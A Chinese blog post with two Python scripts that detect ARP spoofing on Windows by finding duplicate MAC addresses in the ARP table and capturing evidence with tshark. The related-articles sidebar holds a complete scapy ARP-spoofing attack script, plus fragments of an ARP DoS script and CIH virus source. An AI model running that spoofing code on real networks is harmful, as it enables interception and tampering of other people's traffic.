python实现——ARP攻击检测

已于 2022-09-05 17:27:09 修改
阅读量2.6k 收藏 40
点赞数 5
分类专栏： python 文章标签： arp防御
于 2022-09-05 16:52:51 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44288604/article/details/126708067
版权

目录

介绍

最近发现火绒的IP黑名单功能不能防护ARP攻击，只能防护二层以上的网络行为，就花了点时间开发了一个自动化工具，用来检测自己是否遭受了ARP欺骗攻击。我这里开发了2个脚本，普通版和plus版，两者的区别就是后者支持了取证功能。

普通版

代码

脚本介绍：

  1. 脚本每隔一段时间（这里我是设置为30分钟）检查一次ARP表，如果发现存在相同的MAC地址，就意味着极有可能发生了ARP欺骗攻击
  2. 一旦检测到MAC地址重复，脚本就会查询重复mac地址对应的网卡名称，以弹窗的方式展示给用户
  3. 当用户关闭了弹窗，脚本会把可疑的ARP记录和所有的ARP记录，都存放到用户的桌面上，方便用户查看
  4. 我是使用了pyinstaller打包脚本来演示的：pyinstaller.exe -F .\反ARP欺骗.py -w
import re
from subprocess import PIPE, Popen
import tkinter.messagebox
import os
import time


# 根据获取到的IP网卡地址，获知对应的网卡名字
def ip_to_name(ip):
    command1 = r'ipconfig'
    interface_name1 = ''  # 获取到网卡的名字
    p = Popen(command1, stdout=PIPE, stderr=PIPE)
    stdout1, stderr1 = p.communicate()

    ipconfig = stdout1.decode('gbk')
    a = ipconfig.split('网适配器')
    del (a[0])
    for i1 in a:
        if '断开连接' not in i1 and ip in i1:
            interface_msg = i1.split('子网掩码')[0]  # 获取每个网卡的网络信息，断开连接的网卡不予展示
            interface_name1 = interface_msg.split('连接特定的 DNS 后缀')[0].replace(':', '').strip()  # 获取到网卡的名字
    return interface_name1


def work():
    desktop_path = os.path.join(os.path.expanduser("~"), 'Desktop')  # 获取桌面路径
    path_result = os.path.join(desktop_path, 'evil_arp.txt')  # 用来存储终端中输出的内容到一个文本中，方便用户使用数据，此为文本路径
    path_result1 = os.path.join(desktop_path, 'arp.txt')  # 用来存储终端中输出的内容到一个文本中，方便用户使用数据，此为文本路径
    evil_arp = ''  # 用来记录所有的可疑arp表项
    flag = 0
    command = r'arp -a'
    p = Popen(command, stdout=PIPE, stderr=PIPE)
    stdout, stderr = p.communicate()

    arp_form = stdout.decode('gbk')

    arp_list = arp_form.split('接口:')
    for i2 in arp_list:  # 把ARP表按照网卡进行切分
        ip_and_mac = {}  # 用来存放arp小表中的IP和MAC地址
        mac_list = []  # 用来存储一个ARP小表中的所有mac，借此检查有无重复的mac，进而得知ARP攻击

        interface_arp = i2.split('---')[0].strip()  # 获取每个ARP小表的网卡地址

        # 从每一个ARP小表中提取出IP地址和MAC地址，将其绑定为字典
        obj = re.compile(r"(?P<ip>(\d+\x2e){3}\d+)\s+(?P<mac>(\w\w-){5}\w\w)", re.S)
        result = obj.finditer(i2)
        for i3 in result:
            # print(i3.group('ip'), i3.group('mac'), sep=' ')
            ip_and_mac[i3.group('ip')] = i3.group('mac')

        # 判断有误重复的MAC地址
        for i4 in ip_and_mac.values():
            if i4 == 'ff-ff-ff-ff-ff-ff':
                pass
            else:
                if i4 not in mac_list:
                    mac_list.append(i4)
                else:
                    flag = 1
                    interface_name = ip_to_name(interface_arp)  # 获知网卡名字
                    repeat_ip = [k for k, v in ip_and_mac.items() if v == i4]  # 获知重复MAC对应的IP
                    msg = ''
                    for ri in repeat_ip:
                        msg += ri + '\t' + i4 + '\n'

                    alert_msg = interface_name + '网卡 发现ARP攻击！\n' + msg
                    evil_arp += alert_msg + '\n'
                    tkinter.messagebox.showerror('ARP攻击！ARP记录已存放至桌面！', alert_msg)

    # 导出结果
    if flag:
        # 导出所有的ARP记录
        a = open(path_result, 'w', encoding='utf8')
        for r in evil_arp:
            a.write(r)
        a.close()

        # 导出可疑的ARP记录
        arp_record = r'arp -a > ' + path_result1
        os.system(arp_record)


if __name__ == '__main__':
    '''
    脚本功能：每隔一段时间查询一次ARP表，一旦发现ARP异常，就会导出结果到桌面
    '''
    while True:
        work()
        time.sleep(30*60)  # 每隔30分钟运行一次

GIF演示

在这里插入图片描述

plus版

代码

脚本介绍：这个脚本相较于普通版，就是添加了一个取证的功能，一旦检测到ARP欺骗，脚本会调用tshark开启抓包20秒，数据包的名字就是出现ARP欺骗的网卡的名字。（tshark在我之前的文章中已经多次运用介绍过，这里不再赘述）
打包成exe的命令：pyinstaller.exe -F .\反ARP欺骗PLUS版.py -w

import re
from subprocess import PIPE, Popen
import tkinter.messagebox
import os
import time


# 根据获取到的IP网卡地址，获知对应的网卡名字
def ip_to_name(ip):
    command1 = r'ipconfig'
    interface_name1 = ''  # 获取到网卡的名字
    p = Popen(command1, stdout=PIPE, stderr=PIPE)
    stdout1, stderr1 = p.communicate()

    ipconfig = stdout1.decode('gbk')
    a = ipconfig.split('网适配器')
    del (a[0])
    for i1 in a:
        if '断开连接' not in i1 and ip in i1:
            interface_msg = i1.split('子网掩码')[0]  # 获取每个网卡的网络信息，断开连接的网卡不予展示
            interface_name1 = interface_msg.split('连接特定的 DNS 后缀')[0].replace(':', '').strip()  # 获取到网卡的名字
    return interface_name1


# 开启取证抓包
def qu_zheng(interface_name):
    desktop_path = os.path.join(os.path.expanduser("~"), 'Desktop')  # 获取桌面路径
    pcap_name = interface_name + '.pcap'
    path_pcap = os.path.join(desktop_path, pcap_name)
    path_pcap = '"' + path_pcap + '"'

    command = r'tshark.exe -D'
    p = Popen(command, stdout=PIPE, stderr=PIPE)
    stdout, stderr = p.communicate()
    tshark = stdout.decode('utf-8')
    tshark = tshark.split(')')
    for i in tshark:
        if interface_name in i:
            interface_code = i.split('(')[0].split('.')[-1].strip()  # 网卡对应的接口名称
            os.system('tshark.exe -i ' + interface_code + ' -f arp -a duration:20 -w ' + path_pcap)  # 抓包20秒


# 检测ARP攻击
def work():
    desktop_path = os.path.join(os.path.expanduser("~"), 'Desktop')  # 获取桌面路径
    path_result = os.path.join(desktop_path, 'evil_arp.txt')  # 用来存储终端中输出的内容到一个文本中，方便用户使用数据，此为文本路径
    path_result1 = os.path.join(desktop_path, 'arp.txt')  # 用来存储终端中输出的内容到一个文本中，方便用户使用数据，此为文本路径
    evil_arp = ''  # 用来记录所有的可疑arp表项
    flag = 0
    interface_name = ''  # 网卡的名字
    evil_interface_name = []  # 用来存储所有出现ARP欺骗问题的网卡
    command = r'arp -a'
    p = Popen(command, stdout=PIPE, stderr=PIPE)
    stdout, stderr = p.communicate()

    arp_form = stdout.decode('gbk')

    arp_list = arp_form.split('接口:')
    for i2 in arp_list:  # 把ARP表按照网卡进行切分
        ip_and_mac = {}  # 用来存放arp小表中的IP和MAC地址
        mac_list = []  # 用来存储一个ARP小表中的所有mac，借此检查有无重复的mac，进而得知ARP攻击

        interface_arp = i2.split('---')[0].strip()  # 获取每个ARP小表的网卡地址

        # 从每一个ARP小表中提取出IP地址和MAC地址，将其绑定为字典
        obj = re.compile(r"(?P<ip>(\d+\x2e){3}\d+)\s+(?P<mac>(\w\w-){5}\w\w)", re.S)
        result = obj.finditer(i2)
        for i3 in result:
            # print(i3.group('ip'), i3.group('mac'), sep=' ')
            ip_and_mac[i3.group('ip')] = i3.group('mac')

        # 判断有误重复的MAC地址
        for i4 in ip_and_mac.values():
            if i4 == 'ff-ff-ff-ff-ff-ff':
                pass
            else:
                if i4 not in mac_list:
                    mac_list.append(i4)
                else:
                    flag = 1
                    interface_name = ip_to_name(interface_arp)  # 获知网卡名字
                    evil_interface_name.append(interface_name)
                    repeat_ip = [k for k, v in ip_and_mac.items() if v == i4]  # 获知重复MAC对应的IP
                    msg = ''
                    for ri in repeat_ip:
                        msg += ri + '\t' + i4 + '\n'

                    alert_msg = interface_name + '网卡 发现ARP攻击！\n' + msg
                    evil_arp += alert_msg + '\n'
                    tkinter.messagebox.showerror('ARP攻击！ARP记录已存放至桌面！', alert_msg)

    # 导出结果
    if flag:
        # 导出所有的ARP记录
        a = open(path_result, 'w', encoding='utf8')
        for r in evil_arp:
            a.write(r)
        a.close()

        # 导出可疑的ARP记录
        arp_record = r'arp -a > ' + path_result1
        os.system(arp_record)

        # 这里走个形式，网络上一般就一个网卡会存在ARP欺骗，为了满足实验的需求，这里检查所有的网卡
        for i in evil_interface_name:
            qu_zheng(i)


if __name__ == '__main__':
    '''
    脚本功能：每隔一段时间查询一次ARP表，一旦发现ARP异常，就会导出结果到桌面，并且抓包取证
    '''
    while True:
        work()
        time.sleep(30*60)

GIF演示

在这里插入图片描述

更多

由于打包成exe的时候，使用了-w，因此工具会一直运行在后台，打开任务管理器才能关闭工具。
在这里插入图片描述

防御

在开发脚本的时候我想了很多防御的姿势，但最终结果证明，个人电脑最好的防御措施，要么是采用"ARP双向绑定"的方法，要么是使用电脑管家（自带ARP防火墙的那种），别的找到什么好的办法。如果读者有好的思路的话，欢迎交流分享。

电脑管家

测试发现电脑管家的能力也各不相同，如下图
腾讯电脑管家
在这里插入图片描述
360
在这里插入图片描述

lainwith
关注
  • 5
    点赞
  • 踩
  • 40
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
ARP防火墙 v4.1.1
03-13
软件介绍 你的网络是否经常掉线，是否经常发生IP冲突？ 你是否担心通讯数据受到监控（如MSN、QQ、EMAIL）？ 你的网络速度是否受到网管软件限制（如聚生网管、P2P终结者）？ 你是否深受各种ARP攻击软件之苦（如网络执法官、网络剪刀手、局域网终结者）？ 以上各种问题的根源都是ARP欺骗（ARP攻击）。在没有ARP欺骗之前，数据流向是这样的：网关本机。ARP欺骗之后，数据流向是这样的：网关攻击者（“网管”）本机，本机与网关之间的所有通讯数据都将流经攻击者（“网管”），所以“任人宰割”就在所难免了。 ARP防火墙通过在系统内核层拦截虚假ARP数据包以及主动通告网关本机正确的MAC地址，可以保障数据流向正确，不经过第三者，从而保证通讯数据安全、保证网络畅通、保证通讯数据不受第三者控制，从而完美的解决上述所有问题。 ARP防火墙六大功能 * 拦截外部攻击。在系统内核层拦截外部虚假ARP数据包，保障系统不受ARP欺骗、ARP攻击影响，保持网络畅通及通讯安全； * 拦截IP冲突。在系统内核层拦截IP冲突数据包，保障系统不受IP冲突攻击的影响； * 拦截外对攻击。在系统内核层拦截本机对外的ARP攻击数据包，以减少感染恶意程序后对外攻击给用户带来的麻烦； * 监测ARP缓存。自动监测本机ARP缓存表，如发现网关MAC地址被恶意程序篡改，将报警并自动修复，以保持网络畅通及通讯安全； * 主动防御。主动与网关保持通讯，通告网关正确的MAC地址，以保持网络畅通及通讯安全； * 锁定攻击者。发现攻击行为后，自动快速锁定攻击者IP地址；
ARP攻击与防护--小试牛刀
BIGmustang的博客
05-25 1311
大家好，作为网络人我们都知道ARP协议是存在BUG的，下面我们来模拟实验攻击一番。 我们提前装备好2台虚拟机，一台win7 , IP配192.168.10.10 ,win7上运行长角牛软件，一台win10 ，IP配置192.168.10.20 。然后用ESPN模拟软件，还有咱们的 长角牛 攻击软件，然后开始行动。 在参数配置完成后，我们进行路由器的IP设置，检查联通性，具体如图所示 网关的mAC地址如下图所示 检查完毕，我们网络配置正常，下面我们在一台虚拟机上开启长角牛攻击软件 点击开始之后
勒索病毒用什么语言写,勒索病毒代码python
最新发布
weixin_61088415的博客
02-28 321
本篇文章给大家谈谈python写勒索病毒都需要什么工具和材料，以及python写勒索病毒都需要什么工具和设备，希望对各位有所帮助，不要忘了收藏本站喔。Source code download: 本文相关源码 加密函数为，如果需要解密，将改为即可。
检测 ARP 欺骗
ITmoster的博客
06-20 2534
OpUtils 提供高级IP地址管理和交换机端口映射功能，使管理员能够确保无缝联网。借助其恶意检测和预防模块，网络管理员能够识别、检查和处理入侵其网络的恶意设备，网络管理员可以远离恶意设备，不仅仅是ARP欺骗检测功能。
IP地址冲突检查工具-arp-scan
keyboard专栏
02-19 2447
arp-scan是一个命令行工具，用于通过ARP（地址解析协议）扫描局域网中的设备。它发送ARP请求到指定的IP地址范围，然后监听响应，以此来识别网络上活动的设备。这个工具可以帮助网络管理员发现网络上的设备，包括那些可能没有在DHCP服务器上注册的设备，以及检测IP地址冲突。
ARP欺骗攻击的检测和防御
落涯1433
02-28 4969
以太网构建由 1500 个字节的块组成的数据帧。每个以太网数据帧头包括源 MAC 地址和 目的 MAC 地址。建造以太网数据帧，必须从 IP 数据包中开始。但在构建过程中，以太网并 不知道目标机器的MAC 地址，这就需要创建以太网头。唯一可用的信息就是数据包头中的目 标 IP地址。对于特定主机的数据包传输，以太网协议必须利用目标IP来查找目标MAC地址。 这就是 ARP地址解析协议。ARP
php病毒源代码,病毒程序源码实例剖析-CIH病毒[2]
weixin_33335851的博客
03-19 1023
病毒程序源码实例剖析-CIH病毒[2]OriginalAppEXE SEGMENT;PE格式可执行文件文件头FileHeader:db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000hdb 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000hdb 0b8h, 000h, 000h, 000h, 000h, 000h...
常用网络检测命令——arp命令
huangzwei的博客
11-02 170
常用网络检测命令——arp命令
pythonarp工具_Python 实现ARP扫描欺骗工具
weixin_39900531的博客
12-05 367
实现简单的ARP扫描工具: 传入扫描参数main.py -a 192.168.1.1-100 扫描网段内所有的在线主机并显示其MAC地址.from scapy.all import *from optparse import OptionParserimport threadingdef parse_ip(targets):_split = targets.split('-')first_ip =...
用Python做安全测试攻击实战
测试萌萌
05-24 2122
在本文中，我们将使用Python进行一次安全测试的实战演练，目标是找出并利用应用程序的安全漏洞。请注意，这个演练仅用于教育和研究目的，切勿将这些技术用于非法活动。 注意：未经授权的攻击是违法的。确保你在拥有明确权限的环境中执行这些攻击，例如在你自己的应用或经过明确授权的应用上进行。
python网络编程——实现ARP协议
12-23
1.通过python psutil模块，并对网卡名称进行筛选得到对应网卡的IP地址和MAC地址 2.使用scapy库中的srp()函数发送二层数据包并获得返回值 3.使用type()函数分析返回值类型，查询对应的类中的方法，来提取关键信息 ...
python写的ARP攻击代码实例
01-20
复制代码 代码如下:#coding:utf-8#example :sudo python arp_dos.py 192.168.1.103 from scapy.all import ARP,sendimport os,re,sys def get_gateway_ip(): t=os.popen(‘route -n’) for i in t: if i.starts...
python项目——智慧校园考试系统.zip
04-15
python项目——智慧校园考试系统.zip python项目——智慧校园考试系统.zip python项目——智慧校园考试系统.zip python项目——智慧校园考试系统.zip python项目——智慧校园考试系统.zip python项目——智慧校园...
一阶卡尔曼滤波python实现——已封装
07-19
一阶卡尔曼滤波python实现——已封装
二项堆python实现——eager binomial heap
06-21
eager binomial heaps python实现。使用双向链表，make_heap, insert, merge, find_min, extractMin.
python实现——处理Excel表格（超详细）
热门推荐
LainWith的博客
10-12 22万+
目录xls和xlsx基本操作1：用openpyxl模块打开Excel文档，查看所有sheet表2.1：通过sheet名称获取表格2.2：获取活动表3.1：获取表格的尺寸4.1：获取单元格中的数据4.2：获取单元格的行、列、坐标5：获取区间内的数据获取指定区间的数据获取指定行列的数据按行、列获取值获取活动表的行列数操作创建新的excel修改单元格、excel另存为添加数据插入有效数据插入空行空列删除行、列移动指定区间的单元格(move_range)字母列号与数字列号之间的转换字体样式查看字体样式修改字体样式设
python实现——WORD转PDF（全自动化，支持doc、docx）
LainWith的博客
05-21 2万+
目录前言核心代码GIF演示终极版GIF演示 前言 在使用python提取所有word文件中的所有图片提到过doc转docx，其中提到过如果想转换为其他格式文件，需要在format文件名内修改，并用如下save as 参数 现在，就是利用这个参数，实现WORD转PDF 核心代码 利用如下代码进行格式互转（默认转换到与word文件同名路径下） from win32com import client # 转换doc为pdf def doc2pdf(fn): word = client.Dispatc
tshark在流量分析中的绝佳应用（超详细）
LainWith的博客
03-28 1万+
目录简介参数tshark与wireshark对比基本命令获取数据包摘要信息显示时间格式捕获过滤器捕获并保存数据包显示过滤器区分显示过滤器和读取过滤器一些好用的显示过滤器-e参数的应用HTTP中的应用案例mysql中的应用案例-z参数的应用专家信息：**-z expert**追踪流：**-z follow**-z http统计数据包信息统计会话统计出所有IP显示每个协议树的具体信息导出对象追踪流追踪tcp流/http流追踪流数量读取TCP流-纯16进制读取TCP流-16进制读取TCP流-ascii获取TCP流
python实现——文件操作（超详细）
LainWith的博客
10-12 9209
目录基本操作文件路径分离路径名和文件名分离文件名和文件后缀当前工作目录（os.getcwd、os.chdir）创建新文件夹(os.makedirs)查看文件夹目录和文件大小（os.path.getsize、os.listdir）路径有效性获取桌面路径文件读写读取文件使用read()，返回所有文本内容使用readline()，按行读取使用readlines()，把每行的内容添加到列表中使用readlines()读取文本文件写入文件使用write直接写使用writelines，以列表的方式写其他open() 方
用python实现ARP欺骗攻击
05-31
ARP 欺骗攻击（ARP spoofing）是一种网络攻击方式，攻击者发送伪造的 ARP 响应包，欺骗目标主机将其网关的 MAC 地址修改为攻击者的 MAC 地址，使得攻击者可以拦截、篡改和窃取网络流量。 下面是一个用 Python 实现 ARP 欺骗攻击的示例代码： ```python import sys import time from scapy.all import * # 获取本机 MAC 地址和 IP 地址 mac = get_if_hwaddr('eth0') ip = get_if_addr('eth0') # 定义目标 IP 地址和网关 IP 地址 target_ip = '192.168.0.100' gateway_ip = '192.168.0.1' # 定义伪造的 ARP 响应包 arp_response = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=gateway_ip, hwsrc=mac, pdst=target_ip, op='is-at') # 循环发送 ARP 响应包 while True: sendp(arp_response, verbose=0) time.sleep(1) ``` 这段代码使用了 Scapy 库来构造和发送 ARP 响应包。首先，通过 `get_if_hwaddr()` 和 `get_if_addr()` 函数获取本机的 MAC 地址和 IP 地址。然后，定义了目标 IP 地址和网关 IP 地址，并构造了一个伪造的 ARP 响应包，其中 `dst` 字段设置为广播地址，`psrc` 字段设置为网关 IP 地址，`hwsrc` 字段设置为本机的 MAC 地址，`pdst` 字段设置为目标 IP 地址，`op` 字段设置为 `is-at` 表示 ARP 响应。最后，使用 `sendp()` 函数循环发送 ARP 响应包，每隔 1 秒发送一次。 需要注意的是，ARP 欺骗攻击是一种违法行为，仅供学习和研究目的，请勿用于非法用途。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值